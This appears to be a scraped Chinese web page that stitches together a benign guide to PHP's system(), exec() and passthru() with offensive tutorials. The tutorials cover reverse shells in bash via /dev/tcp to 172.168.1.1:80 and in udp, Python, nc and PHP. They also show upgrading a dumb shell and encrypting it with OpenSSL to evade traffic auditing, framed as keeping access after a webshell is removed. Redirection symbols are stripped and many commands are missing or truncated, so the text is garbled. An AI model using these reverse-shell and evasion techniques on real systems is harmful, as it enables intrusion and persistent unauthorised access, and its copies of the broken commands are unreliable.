本文目录一览:
php调用shell的方法技巧
php调用shell的方法技巧
一、配置
查看php.ini中配置是否打开安全模式,主要是以下三个地方
safe_mode = (这个如果为off下面两个就不用管了)
disable_functions =
safe_mode_exec_dir=
二、使用
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
① 执行外部命令
② 在打开文件时有些限制
③ 连接MySQL数据库
④ 基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php /bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的'却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
三、如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
复制代码 代码如下:system("/usr/local/bin/webalizer/webalizer");
exec()
原型:string exec (string command [, string array [, int return_var]])
exec() 函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
复制代码 代码如下:exec("/bin/ls -l");
exec("/bin/ls -l", $res);
#$res是一个数据,每个元素代表结果的一行
exec("/bin/ls -l", $res, $rc);
#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0
passthru()
原型:void passthru (string command [, int return_var])
passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix 下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
复制代码 代码如下:header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
希望本文所述对大家的PHP程序设计有所帮助。
;
反弹shell基础
将这句话拆开来看, bash -i , , /dev/tcp/ , 01 ,有三个知识点。
(1) bash -i 是打开一个交互的bash
(2) /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
(3) 和 01 这两个涉及到Linux文件描述符和重定向。此处的 是取地址符
(1)文件描述符
Linux启动时会默认打开三个文件描述符(实现文件读写操作),Linux把键盘、显示器等设备也当做文件用文件描述符进行控制,如果要修改默认设备就需要进行重定向。
(2)重定向
输入的重定向包括, 和 ,输出的重定向包括, 和 , n file 代表将文件描述符 n 重定向到file指代的文件(以只读方式打开),如果n省略就是0(标准输入)。同理如果是输出的重定向, n file ,n省略则默认是1。
错误输出的重定向有三种形式
其中, 和 是一个意思,都是将标准错误输出合并到标准输出中。 21 和 file 可以用如下过程图表示
需要注意的是,上述输入输出重定向,将输入和输出绑定到文件或者设备只对该条指令有效,如果想要一直有效,就需要添加exec指令 exec n / file/n
(3)复制
与之形似的是文件描述符的复制 nm / nm ,这两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 目的是区分以数字为名字的文件和文件描述符的数值,如果没有 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是另一个文件描述符。
此时再来看这句命令,可与理解为,创建一个可交互的bash和一个到172.168.1.1:80的TCP链接,然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。
首先,反弹shell可以理解为,攻击者监听在TCP/UDP端口,被控制端的请求被转发到该端口,可以控制其输入输出。一般攻击者攻击了一台机器,并用自己的主机去连接该机器的端口,这是一种“正向连接”,远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接,或者有防火墙等限制,再或者攻击者需要进行实时控制,正向连接是无法满足需要的。所以有了“反向连接”,即让被攻击的主机主动去连接攻击者的服务器。
所以我们还可以从反向连接的角度来理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ,将输出描述符连接到了端口,该端口可接收到我们的输出,即我们正向连接了被攻击者的机器,但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显,需要将被攻击机器的输入描述符连接到我们监听的端口上。
也就是说如果我们想要看到回显,除了先将输出描述符连接到端口上,还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同, 01 即可解决。这就形成了一个回路,实现了远程交互式shell的功能。
不过这样的一条指令还不够完善,因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令,那么解决办法就是将错误输出和标准输出进行混合,即将 bash -i 换为 bash -i
Bash相关shell主要有以下几种:
刚才详细讲的是第一种bash shell,第二种是将 这种错误输出的混合方式改成了 21 ,2代表错误输出,1代表标准输出,2指向了1,即输出混合了。文件描述符的复制 nm / nm 两种虽然读写不同但是对于shell的效果是等价的,即和 01 效果相同。所以第二种就是第一种的变种。第四种同理,输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196,道理类似。
对于第三种bash shell,exec已经在前面提到过可以持续连接,后面的关键点如下:
从文件中依次读取每一行,将其赋值给 line 变量(其他也可),之后在循环中对line进行操作。这里不再从文件中读取,而是通过管道符对攻击者机器上输入的命令进行依次执行,并且将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
另外,本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i /dev/udp/172.168.1.1/80 01
除了bash还有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用脚本语言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反弹shell的方式,这里就不一一列举了,原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集,将近80条,写了BashShell.py,就是个简单的查询shell的工具,有需要的下方留言
linux反弹shell知识汇总
shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。
百度百科解释的shell:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
getshell:获取到目标的命令执行权限
webshell:指网站后门,通过web服务进行命令执行
反弹shell:把命令行的输入输出转移到其它主机
1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。
使用whereis命令去确定目标支持的反弹方法。
bash反弹是实战中用的最多的方法
把命令拆开分析:
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
3、后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。
需要目标主机安装了nc
使用其他版本的 nc
配合命名管道进行反弹:
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3
0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。
需要php关闭safe_mode选项,才可以使用exec函数。
使用php的exec函数执行方法1反弹shell的命令
使用php的fsockopen去反弹shell
exec反弹
perl反弹
ruby反弹
lua反弹
通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为'哑'shell。
通常存在以下缺点
因此有必要去获取一个完全交互的shell。
1、在哑 shell 中执行python,使用pty模块,创建一个原生的终端,命令如下:
运行完后
2、键入 Ctrl-Z暂停任务,切回到 VPS 的命令行中;在 VPS 中执行:
3、在哑 shell 中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。
部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。
因此需要将原始流量使用 openssl 加密,绕过流量审计设备。
1、首先vps上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。
2、vps使用 OpenSSL 监听一个端口
3、目标主机执行反弹加密shell
反弹成功,成功接收到ssl流量加密的shell。
在无expect扩展的php环境下,xxe漏洞可以做哪些操作
另外,数据不回显就没有问题了吗?如下图, \ 不...该CASE是在安装expect扩展的PHP环境里执行系统命令,其他...日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢.
nc反向反弹shell
瑞士军刀netcat
我的本地机器是阉割版的nc,出于安全考虑没有-e的选项,但是目标机器yum install nc是有-e的选项,所以我选择反向代理最后成功获得shell
然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材,网上有国外大佬整理了各种版本的shell写法,在此借鉴。已经验证python 与perl,php不容易打开连接因为一般安全模块都是打开的所以exec()一般不容易执行。
nc也可以实现传输文件的功能(这种是未加密的,如果重要文件还是用ssh吧)
操作机:nc -l -p 13893 example.txt(代表输入)
目标机:nc 操作机ip 13893 fucker.txt(代表输出)
nc也可以实现简单的聊天(这种情况只要连接上了就能进行简单的聊天了)
操作机:nc -l -p 13893
目标机:nc 操作机ip 13893